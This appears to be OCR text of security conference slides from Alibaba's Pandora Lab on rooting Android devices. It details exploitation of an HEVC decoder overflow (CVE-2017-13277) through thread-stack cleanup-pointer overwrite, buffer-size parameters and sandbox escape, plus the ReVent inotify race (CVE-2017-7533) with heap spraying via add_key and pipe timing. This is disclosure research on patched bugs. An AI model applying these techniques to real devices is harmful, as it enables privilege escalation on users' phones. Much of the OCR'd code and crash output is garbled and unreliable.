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* WANG, YONG a.k.a. ThomasKing(@ThomasKing2014)
* Security Engineer in Pandora Lab of Ali Security, Alibaba Group
* Focus on Security Research of Android

* Android vulnerability hunting and exploitation since 2015
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* Present Situation
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Two ways

* Memory corruption vulnerabilities in drivers
 Lots of vulnerabilities (Android Bulletin)
* Need to comprise an associated privileged process first
* Fewer vulnerabilities in universal drivers (Binder, etc.)

* Memory corruption vulnerabilities in generic syscall
e Attractive
* Not easy to discover a vulnerability
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https://source.android.com/security/bulletin/2017-12-01

Privileged processes

Audnaid 6 Audnaid 7

* Fewer vulnerabilities BT e e

AudioFlinger S
MediaPlayerService Read access to files

provided by apps

[ ] Syste m S e rve r AudioPolicyService Resourcel ManagerService INET

MediaPlayerService

* Capabilities per process ——

Audio devices

. ST T AudioPolicyService Sound trigger devices
[ ]
FM radio
SoundTriggerHwService RadioService Custom vendor devices

Read/Write access to
media
SoundTriggerHwService

* More strict SELinux policies
ROP/JOP due to “EXEC_MEM” policy ]

e All daemons ‘ o el permssins

DRM hardware
MediaDrm$ Secure storag
MediaCodecService
HW codecs
CodecService
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Attack surface reduction

* Remove default access to debug features
e Perf subsystem

* Restrict app access to ioctl commands
* A small whitelist for Applications

 SECCOMP filter in Android 8
e Restrict the syscalls (add_key)
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New mitigations in Android 8

* Privileged Access Never (PAN)

* No longer redirect a kernel pointer to user space

e Kernel Address Space Layout Randomization(kernel 4.4 and newer)
* Need to leak the kernel slide

* Post-init read-only memory
* Fewer kernel pointers can be overwritten

* Hardened usercopy
 Fewer vulnerabilities in drivers
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* YUV exploitation for Mediaserver
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Why Mediaserver

* Android Bulletin 2017-03-01

Remote code execution vulnerability in Mediaserver

A remote code execution vulnerability in Mediaserver could enable an attacker using a specially crafted file to cause
memory corruption during media file and data processing. This issue is rated as Critical due to the possibility of remote
code execution within the context of the Mediaserver process.

CVE-2017-0466 A-33139050 [2] Critical All 6.0,6.0.1,7.0,7.1.1 Nov 25,2016
CVE-2017-0467 A-33250932 [2] Critical All 6.0,6.0.1,7.0,7.1.1 Nov 30,2016
CVE-2017-0468 A-33351708 [2] Critical All 6.0,6.0.1,7.0,7.1.1 Dec 5,2016
CVE-2017-0469 A-33450635 Critical All 6.0,6.0.1,7.0,7.1.1 Dec 8, 2016
CVE-2017-0470 A-33818500 Critical All 6.0,6.0.1,7.0,7.1.1 Dec 21,2016
CVE-2017-0471 A-33816782 Critical All 6.0,6.0.1,7.0,7.1.1 Dec 21,2016
CVE-2017-0472 A-33862021 Critical All 6.0,6.0.1,7.0,7.1.1 Dec 23,2016
CVE-2017-0473 A-33982658 Critical All 6.0,6.0.1,7.0,7.1.1 Dec 30, 2016
CVE-2017-0474 A-32589224 Critical All 7.0,7.1.1 Google internal
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https://source.android.com/security/bulletin/2017-03-01

Why Mediaserver

* Android Bulletin 2018-03-01

Media framework

The most severe vulnerability in this section could enable a remote attacker using a specially crafted file to execute
arbitrary code within the context of a privileged process.

CVE-2017-13248

CVE-2017-13249

CVE-2017-13250

CVE-2017-13251

CVE-2017-13252

CVE-2017-13253
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A-70349612

A-70399408

A-71375536

A-69269702

A-70526702

A-71389378

RCE

RCE

RCE

EoP

EoP

EoP

Critical
Critical
Critical
Critical
High

High

6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
8.0, 8.1

8.0, 8.1


https://source.android.com/security/bulletin/2018-03-01

Android MediaPlayer

MediaPlayerService g

OMX Codecs

MP3 MPEG4 ‘
Extractor Extractor | |
AAC HEVC
Codec Codec

v

HITB2018AMS Pandora Lab of Ali security




Hevc crash

* Weichao Sun(@sunblate), member of Pandora Lab

sokk dokk dokok dokok dokok skokok dokk dokok okok dokok skokok dkokok dkokok dokok dkokok kokok
Build fingerprint: 'google/sailfish/sailfish:7.1.1/NOF27B/3687361:user/release-keys'
Revision: '@’
ABI: 'arm'
pid: 7315, tid: 8517, name: le.hevc.decoder >>> media.codec <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xe1581000
ro el581000 rl1 e22a5c70 r2 00000020 r3 00000000
r4 e79bb00® r5 e22a5c50 r6 00000001 r7 e1581000
r8 014d4800 r9 00000020 sl 00000040 fp 02929000
ip e787ffac sp e7447430 1r e7835de8 pc e80de590 cpsr 68070030

OO HE WN M-

9
0

memory map: ault address prefixed -
b1032000-b1034fff r-x 0 3000 /system/bin/mediacodec (BuildId:
f27f88be33edbca2b7f974f26a694059)
b1036000-b1036fff r—— 3000 1000 /system/bin/mediacodec
b1037000-b1037fff rw- 0 1000
debd8000-el1580fff ® 2939000 /dev/ashmem/ACodec (deleted)
-——>e1581000-e1581fff 1000 [anon:thread stack guard page]
e1582000-e167ffff fe000 [stack:7418]
e1680000-ed4dfffff 3780000 [anon:libc_malloc]
e4e67000-edebffff 1000 [anon:thread stack guard page]
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Hevc crash

pid: 13306, tid: 13313, name: le.hevc.decoder >>> media.codec <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x80808080

ro 80808080 rl1 f32407af r2 80000000 r3 00000001

r4 00004349 r5 6469000 r6 f620131f r7 13240790

r8 f356d850 r9 00000020 sl 00004858 fp f62013a8

ip 00000080 sp 6201330 1r 00000080 pc 80808080 cpsr ad070010

d0 8080808080808080 dl1 8080808080808080

d2 8080808080808080 d3 8080808080808080

d4 8080808080808080 d5 8080808080808080

d6 8080808080808080 d7 8080808080808080

d8 0000000000000000 d9 0000000000000000

d10 0000000000000000 dl1l1 0000000000000000

d12 0000000000000000 d13 0000000000000000

d14 0000000000000000 d15 0000000000000000

d16 0000000000000000 d17 0000000000000000

d18 0000000000000000 d19 0000000000000000

d20 0000000000000000 d21 0000000000000000

d22 0040004000400040 d23 0040004000400040

d24 0040004000400040 d25 0040004000400040

d26 0000000000000000 d27 0000000000000000

d28 0040004000400040 d29 0040004000400040

d30 0040004000400040 d31 0040004000400040

scr 80000000

backtrace:

#00 pc 80808080 <unknown>
#01 pc 0000007c <unknown>
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CVE-2017/-13277

* Android Bulletin 2018-04-01

Media framework

The most severe vulnerability in this section could enable a remote attacker using a specially crafted file to execute
arbitrary code within the context of a privileged process.

CVE-2017-13276 A-70637599 RCE Critical 6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
[ CVE-2017-13277 A-72165027 RCE Critical 6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1 ]
CVE-2017-13278 A-70546581 EoP High 6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
CVE-2017-13279 A-68399439 DoS High 6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
CVE-2017-13280 A-71361451 DoS High 6.0,6.0.1,7.0,7.1.1,7.1.2,8.0, 8.1
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https://source.android.com/security/bulletin/2018-04-01

Vulnerability analysis

backtrace:
#00 pc 00017590 /system/lib/libc.so (memcpy+293)
#01 pc 00031de4 /system/lib/libstagefright_soft_hevcdec.so (ihevcd_fmt_conv+592)
#02 pc 0000e880 /system/lib/libstagefright_soft_hevcdec.so (ihevcd_decode+1488)
#03 pc 0000a335 /system/lib/libstagefright_soft_hevcdec.so
(_ZN7android8SoftHEVC13onQueueFilledEj+496)
#04 pc 00022fe9 /system/lib/libstagefright_omx.so
(_ZN7android22SimpleSoftOMXComponentl1l7onMessageReceivedERKNS_2spINS_8AMessageEEE+272)
#05 pc 00024023 /system/lib/libstagefright_omx.so
#06 pc 0000f3c5 /system/lib/libstagefright_foundation.so
(_ZN7android8AHandlerl4deliverMessageERKNS_2spINS_8AMessageEEE+24)
#07 pc 0001165b /system/lib/libstagefright_foundation.so (_ZN7android8AMessage7deliverEv+62)
#08 pc 0000ff35 /system/lib/libstagefright_foundation.so (_ZN7android7ALooper4loopEv+372)
#09 pc 0000e3a3 /system/lib/libutils.so (_ZN7android6Threadll_threadlLoopEPv+270)
#10 pc 00047093 /system/lib/libc.so (_ZL15__pthread_startPv+22)
#11 pc 00019bdd /system/lib/libc.so (__start_thread+6)

A WWW
oW~
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Vulnerability analysis

HITB2018AMS

i

s

(IV_YUV_420P == ps_codec->e_chroma_fmt)

(0 == disable_luma_copy)

WORD32 ij;
WORD32 num_cols = ps_codec—>i4_disp_wd;

(i =0; i < num_rows; i++)

{
memcpy(pul_y_dst_tmp, pul_y_src, num_cols);
pul_y_dst_tmp += ps_codec—>i4_disp_strd;
pul_y_src += ps_codec—>i4_strd;

disable_luma_copy = 1;

ps_codec—>s_func_selector.ihevcd_fmt_conv_420sp_to_420p_fptr(pul_y_src, pul_uv_src,

pul_y_dst_tmp, pul_u_dst_tmp,
ps_codec—>i4_disp_wd,
num_rows,

ps_codec—>i4_strd,
ps_codec—->i4_strd,
ps_codec—>i4_disp_strd,
(ps_codec->i4_disp_strd / 2),
is_u_first,
disable_luma_copy);

pul_v_dst_tmp,

i4_disp_wd
num_rows
num_cols
i4_disp_strd
i4_strd
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Vulnerability analysis

i4_disp_strd

* mp4_width
i4_strd

 mp4_height + PAD(0xa0)
i4_disp_wd

* H.265 Sequence Parameter Set

e sps->pic_width_in_luma_samples

* num_cols
e sps->pic_width_in_luma_samples

* NUM_FrOwSs
e sps->pic_height_in_luma_samples
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Vulnerability analysis

void ihevcd_fmt_conv_420sp_to_420p (UWORD8 *pul_y_src,
UWORD8 *pul_uv_src,
UWORD8 *xpul_y_dst,
UWORD8 *xpul_u_dst,
UWORD8 *xpul_v_dst,
WORD32 wd,
WORD32 ht,
WORD32 src_y_strd,
WORD32 src_uv_strd,
WORD32 dst_y_strd,
WORD32 dst_uv_strd,
WORD32 is_u_first,

(IV_YUV_420P == ps_codec->e_chroma_fmt)

o

O

(0 == disable_luma_copy)

(6,00, N0, N0, N, NV, Y, |
O

OO WY

P~NOUVIAWNIR® O M

{

WORD32 i;
WORD32 num_cols = ps_codec->i4_disp_wd;

(i=0; i< num_rows; i++)

{ 599 WORD32 disable_luma_copy)

memcpy (pul_y_dst_tmp, pul_y_src, num_cols); 60: UWORD8 *pul_src, *pul_dst;

pul_y dst_tmp += ps_codec->id_disp_strd; 602 UWORD8 *pul_u_src, *pul_v_src;

pul_y_src += ps_codec->i4_strd; 3 WORD32 num_rows, num_cols, src_strd, dst_strd;
WORD32 i, j;

N
o U &

1
oo~

(0 == disable_luma_copy)
disable_luma_copy = 1; 6 {

> WO

}

ps_codec->s_func_selector. ihevcd_fmt_conv_420sp_to_420p_fptr(pul_y_src, pul_uv_src,
pui_y_dst_tmp, pui_u_dst_tmp, pul_v_dst_tmp, 5 num_rows = ht;
ps_codec->i4_disp_wd, 513 num_cols = wd;
num_rows, 0
ps_codec->i4_strd,
ps_codec->i4_strd,
ps_codec->i4_disp_strd,
Aps_couec->d4_disp-strd /2); memcpy (pul_dst, pul_src, num_cols);

1$ﬂ_f1“t! pul_dst += dst_strd;
disable_luma_copy); pul_src += src_strd;

pul_src (UWORD8 *)pul_y_src;
pul_dst (UWORD8 *)pul_y_dst;

src_strd src_y_strd;
dst_strd dst_y_strd;

oo 00 OO0 OO

oy O OY O
O 0o~ OoY W
oowmp

0~

X

i < num_rows; i++)

oo OO OO

—~

— S W O
(e}
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Vulnerability analysis

* ‘Ox80808080

 luma and chroma buffers are filled with ‘Ox80’

(0 == ps_codec—>u4_pic_cnt)

memset (ps_cur_pic—>pul_luma, 128, (ps_sps—>i2_pic_width_in_luma_samples + PAD_WD) * ps_sps—>i2_pic_height_in_luma_samples);
memset (ps_cur_pic—>pul_chroma, 128, (ps_sps—->i2_pic_width_in_luma_samples + PAD_WD) * ps_sps—>i2_pic_height_in_1luma_samples / 2);

}

* Control PC register
» Skip the stack guard page
* Overwrite some metadata in the thread stack

395
396

397

398

Output buffer EEE

_ 400
Decoding thread FEE
402

403

memory map: t address prefixed
b1032000-b1034fff r-x 0 3000
f27f88be33edbca2b7f974126a694059)
b1036000-b1036fff r— 1000
b1037000-b1037fff rw- 1000
debd8000-e1580fff 2929000

-——>e1581000-e1581fff 1000
e1582000-el67ffff fe000
€1680000-e4dfffff 3780000
e4e6f000—-edebffff 1000

/system/bin/mediacodec (BuildId:

/system/bin/mediacodec

/dev/ashmem/ACodec (deleted)
[anon:thread stack guard pagel]
[stack:7418]

[anon: libc_malloc]
[anon:thread stack guard pagel]
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Pthread internal t

s

58 class pthread_internal_t {

59 public: 256 typedef struct pthread cleanup t {

B class pthread internal t* next; 257 struct pthread cleanup t* cleanup_prev;

61 class pthread_internal_t* prev; — - - I .

62 258 __pthread_cleanup_func_t __cleanup_routine;

63  pid_t tid; 259 void* __Cleanup_arg;

64 .

65 private: 260 } _ pthread cleanup t;

66 pid_t cached_pid_; 261

67

68 public:

69 pid_t invalidate_cached_pid() {

EC pid_t old _value; 62 void pthread_exit(void* return_value) {

71 get_cached_pid(&old_value); - - . .

72 set_cached_pid(0); 63 // Call dtors for thread local objects first.

;Z X return old value; 64 __cxa_thread finalize();

75 65

76 void set _cached pid(pid_t value) { 66 thread internal t* thread = et thread();
- p g ’

77 cached_pid_ = value; — —_— — —_—

78} 67 thread->return_value = return_value;

79

80 bool get_cached_pid(pid_t* cached pid) { 68

81 *cached_pid = cached pid_; 69 // Call the cleanup handlers.

82 t *cached_pid != 0); .

e L (*eached pi ) 70 ( while (thread->cleanup stack) {

84 71 pthread cleanup t* ¢ = thread->cleanup stack;

85 pthread attr_t attr; o " -

86 72 thread->cleanup stack = c->_ cleanup prev;

g; _Atomic(ThreadJoinState) join_state; 73 c—>_cleanup_routine ( C—>_C leanup_arg) :

89 [ ~_pthread cleanup t* cleanup_ stack; ] 74 }

90

91 void* (*start_routine) (void*);

92 void* start_routine_arg; HP s ’

S| volae etien value: Avoid ‘stack_guard_check

94

95 void* alternate_signal_stack;

96
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Memory layout

Output buffer Guard page Thread stack

Controllable length Oxfe000

Y u Vv pthread_internal _t
-mm“m
pic_h pic_w m4_w
U size Y pic_h/2 pic. w/2 m4 w/2
Y size_Y + size_UV pic_h /2 pic w/2 m4_w /2
sizecY=m4 h*m4d w m4_w--mpd_width pic_h --- pic_height_in_luma_samples
size UV =size Y/4 m4_h --- mp4_height pic_w --- pic_width_in_luma_samples
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Overwrite cleanup_stack pointer:
Cleanup_offset = buffer_size + 0x1000 + Oxfe000 — 0x1000 + 0x940
Cleanup_offset = mp4_width * (pic_height — 1)

Skip guard page:
mp4d_width * i+ pic_width < buffer_size

OR mp4_width *i>= buffer_size + 0x1000 0 <=1/ < pic_height

Output buffer Guard page Thread stack

Y u Vv pthread_internal t
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Overwrite cleanup_stack pointer:
Cleanup_offset = buffer_size + 0x1000 + Oxfe000 — 0x1000 + 0x940
Cleanup_offset = mp4_width * (pic_height — 1)
Skip guard page:
mp4d_width * i+ pic_width < buffer_size
OR mp4_width *i>= buffer_size + 0x1000
size_ Y + (mp4_width / 2) * (pic_height /2 - 1) + pic_width / 2 < buffer_size

0 <=i < pic_height

Output buffer Guard page Thread stack

Y u Vv pthread_internal t
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Overwrite cleanup_stack pointer:

Cleanup_offset = buffer_size + 0x1000 + Oxfe000 — 0x1000 + 0x940
Cleanup_offset = mp4_width * (pic_height — 1)
Skip guard page:
mp4d_width * i+ pic_width < buffer_size
OR mp4_width *i>= buffer_size + 0x1000
size_Y + (mp4_width / 2) * (pic_height / 2 - 1) + pic_width / 2 < buffer_size
size Y + size_UV + size(mp4_width / 2) * (pic_height /2 - 1) + pic_width / 2 < buffer_size

0 <=i < pic_height

Output buffer Guard page Thread stack

Y u Vv pthread_internal t
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output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:
output_buffer:

DAO0O0O, mp4_width:
14D000, mp4_width:
1C0000, mp4_width:
233000, mp4_width:
2A6000, mp4_width:
319000, mp4_width:
38C000, mp4_width:
3FF000, mp4_width:
472000, mp4_width:
4E5000, mp4_width:
558000, mp4_ width:

Available combinations

1ccO, mp4 _height:
1ccO, mp4 _height:
1ccO, mp4_height:
1ccO, mp4 _height:
1ccO, mp4_height:
1ccO, mp4_height:
1ccO, mp4_height:
1ccO, mp4 _height:
1ccO, mp4 _height:
1ccO, mp4_height:
1ccO, mp4_height:

20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:
20, pic_width:

20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:
20, pic_height:

108
148
188
1C8
208
248
288
2C8
308
348
388
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l[deal memory layout

0x80808080
———>Fault address falls at 22223332 before any mapped regions
Input buffer 71032000-b1031fff rw- © 40000000 /dev/ashmem/ACodec (deleted)
b1032000-b1034fff r-x 0 3000 /system/bin/mediacodec
b1036000-b1036fff r—— 3000 1000 /system/bin/mediacodec
b1037000-b1037fff rw- 1000
Output buffer €5a29000-e5f80fff 558000 /dev/ashmem/ACodec (deleted)
Decodine thread e5f81000—-e5f81fff 1000 [anon:thread stack guard pagel
8 e5182000-e607ffff fe000 [stack:31662]

€6080000—-e63fffff
€6501000-e6501fff
€6502000—-e65fffff
€6600000—-e66fffff
€6757000-e6757fff
€6758000—-e6855f f f

380000 [anon:libc_malloc]
1000 [anon:thread stack guard pagel
fe000 [stack:31660]

100000 [anon:libc_malloc]
1000 [anon:thread stack guard pagel
fe000 [stack:31659]

0
0
0
0
0
0
0
0
0
0
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Hijack the thread

* pthread _internal_

(gdb) XxX/32wx OXTIT29000 + Ox1ccOd

Oxf257f920:
Oxf257f930:
Oxf2571f940:
Oxf257f950:
Oxf257f960:
Oxf257f970:
Oxf257f980:
Oxf2571f990:

OXT2705920
OX00000001
UX80BLBLE0
Ox80808080
Ox00000001
OxT257f970
Ox00000000
OX00000000

@\OGJLL@J“
Ox00000001

Ox00001466
Ox000fe920
UX80808080
Ox80808086
Ox000FffOO0O
Ox00000016
Ox00000000
OxT46174c0

Ox0000029f
Ox00001000
UX8080BUBY

Ox80808080
Ox00000000
Ox00000000
Ox00000000
Ox00000000
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Hijack the thread

.text:F4BE7132 ; void __ fastcall pthread_exit(void *return_value)

.text:F4BE7132 EXPORT pthread_exit
.text:F4BE7132 pthread_exit ; CODE XREF: j_pthread_exit+87"j
.text:F4BE7132 ; DATA XREF: .got:pthread_exit_pt
.text:F4BE7132
.text:F4BE7132 set = -0x1C
.text:F4BE7132 var_18 = -0x18
.text:F4BE7132
.text:F4BE7132 return_value = RO ; void *
.text:F4BE7132 PUSH {R4,R5,R7,LR}
.text:F4BE7134 SUB SP, SP, #0x10
.text:F4BE7136 MOV R5, return_value
.text:F4BE7138 return_value = R5 ; void *
.text:F4BE7138 BL __cxa_thread_finalize
.text:F4BE713C MRC pl5, 0, RO,cl13,c0, 3
.text:F4BE7140 LDR R4, [RO,#4]
.text:F4BE7142 thread = R4 ; pthread_internal_t *
.text:F4BE7142 STR return_value, [thread,#0x38]
.text:F4BE7144 B loc_F4BE7150
EOXEIPEBEBT146 ;| e e e e e e e e e e e e e e
.text:F4BE7146
.text:F4BE7146 loc F4BE7146 ; CODE XREF: pthread exit+22,j
[ __pthreaa_cgeanup_t_ﬁ *
LDR R1l, [c]
STR R1, [R4,#0x2C]
LDRD.W R1l, ¢, [c,#4)]
BLX R1
.text:F4BE7150 loc_F4BE7150 ; CODE XREF: pthread_exit+127%j
.text:F4BE7150 LDR RO, [R4,#0x2C]
.text:F4BE7152 ¢ = RO ;7 __pthread_cleanup t_0 *
.text:F4BE7152 CMP c, #0
.text:F4BE7154 BNE loc_F4BE7146
.text:F4BE7156 BL othread kev clean all(void)

HITB2018AMS

ro

ri

r2

r3

r4

rs

ré

r7

r8

r9

rio

ril

ri2

sp

1r

pc

cpsr

(gdb) bt
Oxf4be7146
Oxf4be7098
Oxf4bb9bde
Ox00000000

Ox80808080
Ox64cce38
0x2

Ox1

2155905152
105696824

Ox0
OXf2571920
Ox78 120
OXf450163¢
Ox$f4398150
Oxfded7f3d
0x0 (0]
Oxfd4c27e94
Oxf257f8f0
Oxf4be713d
Oxf4be7146
Oxake70030

/ <pthread exit+20>
-1610153936

in pthread exit () from target:/system/lib/libc.so

in pthread_start(void*) () from target stem/1ib/1ibc.so
in start_thread () from target:/system/lib/libc.so

in ®
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Control PC register

I 02-20 20:16:18.134 22094 22094 Successfully allocated codec 'OMX.google.hevc.decoder'

E 02-20 20:16:19.463 22083 22083 OMXNodeInstance 11l Observer died. Quickly, do something, ... anything...

D 02-20 20:16:20.302 22083 22092 SoftVideoDecoderOMXCo.. Color Aspects preference: 1

A 02-20 20:16:20.390 22083 22093 libc Fatal signal 11 (SIGSEGV), code 1, fault addr ©0x22223332 in tid 22 &
093 (OMXCallbackDisp)

A 02_2@ 201620423 22111 22111 DEBUG dokk kkk kkk kKR Rk Rkk kkk kkk kokk kkk kR Rkk kkk kkk kkk kK%

A 02-20 20:16:20.423 22111 22111 DEBUG Build fingerprint: 'google/sailfish/sailfish:7.1.1/NOF27B/3687361: <J
user/release-keys'

A 02-20 20:16:20.423 22111 22111 DEBUG Revision: '@’

A 02-20 20:16:20.423 22111 22111 DEBUG ABI: 'arm'

A 02-20 20:16:20.424 22111 22111 DEBUG pid: 22083, tid: 22093, name: OMXCallbackDisp >>> media.codec <<<

A 02-20 20:16:20.424 22111 22111 DEBUG signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr ©0x22223332

A 02-20 20:16:20.424 22111 22111 DEBUG r@ 33334444 rl1 22223333 r2 00000002 r3 00000001

A 02-20 20:16:20.424 22111 22111 DEBUG r4 ede7f920 r5 00000000 ro ede7f920 r7 00000078

A 02-20 20:16:20.424 22111 22111 DEBUG r8 ee88163c r9 ee7080c® sl eeea3f3d fp 00000000

A 02-20 20:16:20.424 22111 22111 DEBUG ip eed4ce94 sp ede7f8f@ 1r eed@cl51 |pc 22223332 | cpsr a@@70 <
030

A 02-20 20:16:20.437 22111 22111 DEBUG backtrace:

A 02-20 20:16:20.438 22111 22111 DEBUG #00 pc 22223332 <unknown>

A pc Q004714f /system/lib/libc.so (pthread_exit+28

A 02-20 20:16:20.439 22111 22111 DEBUG #02 pc 00047095 /system/lib/libc.so (_ZL15__pthread_startPv+2 <J
4)

A 02-20 20:16:20.439 22111 22111 DEBUG #03 pc 00019bdd /system/lib/libc.so (__start_thread+6)

E 02-20 20:16:20.522 22111 22111 AM data write failed: Broken pipe

I 02-20 20:16:20.526 1031 1078 BootReceiver Copying /data/tombstones/tombstone_02 to DropBox (SYSTEM_TOMBSTONE <J
)
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SECCOMP sandbox

35 int main(int argc unused, char** argv) 25 /+ Must match location in Android.mk */
—— 26 static const char kSeccompFilePath[] = "/system/etc/seccomp_policy/mediacodec-seccomp.policy";
27
3 6 { - . . . " 28 int MiniJail()
37 ALOGI("€@€ mediacodecservice starting 29 {

30 /* no seccomp policy for this architecture */

3 8 S ignal ( SIGPIPE ’ SIG IG 31 if (access‘('kSeccompFilel"ath, RﬁOI'() == -1) {. . .
. . . 32 ALOGW("No seccomp filter defined for this architecture.");
39 MiniJdail(); # X return 0;
85
4 0 36 struct minijail *jail = minijail new();
" 1 Ty . 37 if (jail == NULL) {
4 1 Strcpy ( argVI 0 ] ’ medla * COdeC ) ’ 38 ;;OGW("Failed to create minijail.");
42 sp<ProcessState> proc(ProcessState::self()); B,
43 sp<IServiceManager> sm = defaultServiceManager(); I  ..iiai o new prive(iail);
44 MediaCodecService::instantiate(); AR AR
45 ProcessState::self()->startThreadPool(); Bl e ey -t irers(Jall, ksccamprileFath):
46 IPCThreadState: :self()->joinThreadPool(); Bl epiinidestrov(datly
A7 49 }
I 01-01 08:03:49.162 8998 8998 mediacodec @@@ mediacodecservice starting
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Escape the sandbox

26 class MediaCodecService : public BinderService<MediaCodecService>, public BnMediaCodecService

27 {

28 friend class BinderService<MediaCodecService>; // for MediaCodecService()
29 public:

30 MediaCodecService() : BnMediaCodecService() { }

31 virtual ~MediaCodecService() { }

32 virtual void onFirstRef() { }

33

34 static const char* getServiceName() { return "media.codec"; }

35

36 virtual sp<IOMX> getOMX();

37

38 virtual status t onTransact(uint32 t code, const Parcel& data, Parcel* reply,
39 uint32 t flags);

40

41 private:

42 Mutex mLock;

43 ( sp<IOMX> mOMX ; |

44 };
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Escape the sandbox

69 class MediaPlayerService : public BnMediaPlayerService

70 {

71 class Client;

72

431 MediaPlayerService();

432 virtual ~MediaPlayerService();

433

434 mutable Mutex mLock;

435 SortedVector< wp<Client> > mClients;
436 SortedVector< wp<MediaRecorderClient> > mMediaRecorderClients;
437 int32 t mNextConnId;
438 | sp<IOMX> mOMX ; |

439 };
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Escape the sandbox

208 MuxOMX::node_location MuxOMX::getPreferredCodecLocation(const char *name) {

209 if (sCodecProcessEnabled) {

210 // all codecs go to codec process unless excluded using system property, in which case
211 // all non-secure decoders, OMX.google.* codecs and encoders can go in the codec process
212 // (non-OMX.google.* encoders can be excluded using system property.)

213 if ((strcasestr(name, "decoder")

214 && strcasestr(name, ".secure") != name + strlen(name) - 7)

215 || (strcasestr(name, "encoder")

216 && !property get bool("media.stagefright.legacyencoder", false))
217 || !property get bool("media.stagefright.less-secure", false)

218 || !strncasecmp(name, "OMX.google.", 11)) {

219 return CODECPROCESS;

220 }

221 // everything else runs in the media server

222 return MEDIAPROCESS;

223 } else {

224 #ifdef  LP64

225 // 64 bit processes always run OMX remote on MediaServer

226 return MEDIAPROCESS;

227 #else

228 // 32 bit processes run only OMX.google.* components locally

229 if (!strncasecmp(name, "OMX.google.", 11)) {

230 return LOCAL;

231 }

232 return MEDIAPROCESS;

233 #endif

234 }

235 }

# MEDIAPROCESS 1

int new_getPreferredCodecLocation(void *thiz, char xname){
MEDIAPROCESS;

}
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Demo

thomasking — adb « adbshl — 100x32
~ — adb « adbshl ...ents/work_place/hevc_crash/7.0 — -bash ...ts/work_place/hevc_crash/7.0 — -bash ~/Desktop — -bash

marlin:/data/local/tmp $ ./YUV\ for\ media_server

PANDORA LAB

OF ALI SECURITY
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Next steps for rooting

* The beginning of another hard work

« CANNOT allocate RWX memory
 “EXEC_MEM” policy

e Convert the exploitation into “ROP” gadgets
 Many gaaaaaadgets are required

 Few drivers can be accessed
* Few vulnerabilities
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* ReVent Rooting Solution
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CVE-2017-/7533

* Discovered as a bug by Leilei Lin

* Exploitation for Android unknown by that time
e Shipped with kernel 3.18 -4.4
* 64-bit devices

e Use-After-Free due to race condition

* Overwrite the next slab object with non-zero bytes
 ReVent — [Re]name & E[vent]

Acknowledgements

Red Hat would like to thank Leilei Lin (Alibaba Group), Fan Wu (The University of Hong Kong), and Shixiong Zhao (The
University of Hong Kong) for reporting this issue.
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Vulnerability analysis

int inotify_handle_event(struct fsnotify_group xgroup,
struct inode *inode,
struct fsnotify_mark *inode_mark,
struct fsnotify_mark *vfsmount_mark,

e et e S * Monitor one file with actions(IN_ACCESS)

struct inotify_inode_mark *i_mark;

struct inotify_event_info xevent; PY 1 t'f H 't
struct fsnotify_event *fsn_event; I n O I y_l n I
int ret;

int len = 0;

int alloc_len = sizeof(struct inotify_event_info); ¢ inotify add WatCh

BUG_ON(vfsmount_mark) ;

((inode_mark->mask & FS_EXCL_UNLINK) &&
(data_type == FSNOTIFY_EVENT_PATH)) {
struct path xpath = data;

(d_unlinked(path—->dentry)) * W h e n t rigge re d :

H

(1ie_nane) 4 e Calculate file name’s length

len = strlen(file_name);
alloc_len += len + 1;

: e Allocate a buffer for notification event
pr_debug("%s: group=%p inode=%p mask=%x\n", __ func__, group, inode,
e Copy file name to event buffer

mask) ;

i _mark = container_of(inode_mark, struct inotify_inode_mark,
fsn_mark) ;

event = kmalloc(alloc_len, GFP_KERNEL);
(unlikely('event))
—ENOMEM;

fen_event = Geventofses * But the file can be renamed!

fsnotify_init_event(fsn_event, inode, mask);
event—>wd = i_mark—>wd;
event->sync_cookie = cookie;
event—>name_len = len;
Q)
strcpy(event—>name, file_name);
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Vulnerability analysis

Thread-1 Thread-2

kfree_rcu(old_name, u.head);

add_key("spray", payload, 0, 0, 0);

Heap overflow
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Vulnerability analysis

Kmalloc-256

200 AAAA... T1: trigger

T1: kmalloc

T2: rename

T2: spray
256 N TL: strepy
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Two main problems

* Victim object
e Kernel pointer in the head
* Immunity to ‘\0’ side effect

* Heap Fengshui
 Name/Event/Payload/Victim object
* Victim object should be next to event
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Pipe subsystem

* Time Of Check To Time Of Use

e The value and time are controllable when reading/writing
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Pipe subsystem

* Time Of Check To Time Of Use

e The value and time are controllable when reading/writing

i readV/W riteV a pipe file ssize_t do_readv_writeviiqt type, struct fil: xfile,
* Allocate, import iovecs and check boundary unsigned long nr_segs, Loff_t spos]

size_t tot_len;

struct iovec iovstack[UIO_FASTIOV];
struct iovec xiov = iovstack;
struct iov_iter iter;

ssize_t ret;

io_fn_t fn;

iter_fn_t iter_fn;

ret = import_iovec(type, uvector, nr_segs,|
ARRAY_SIZE(iovstack), &iov, &iter);
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Pipe subsystem

* Time Of Check To Time Of Use

e The value and time are controllable when reading/writing

* reg dV/W ritev 3 pi pe fi Ie Eipe_read(st;uct kiocb *iocb, struct iov_iter to)

size_t total_len = iov_iter_count(to);
struct file *filp = iocb—>ki_filp;

* Allocate, import iovecs and check boundary gy e S e
* Invoke pipe_read/write callback W read succeets. /|
* No data/space blocking in callback o sokeup = 0

ret = 0;
__pipe_lock(pipe);
i) {

int bufs = pipe->nrbufs;
(bufs) {
int curbuf = pipe->curbuf;
struct pipe_buffer xbuf = pipe->bufs + curbuf;
struct pipe_buf_operations *ops = buf->ops;
size_t chars = buf->len;
size_t written;
int error;

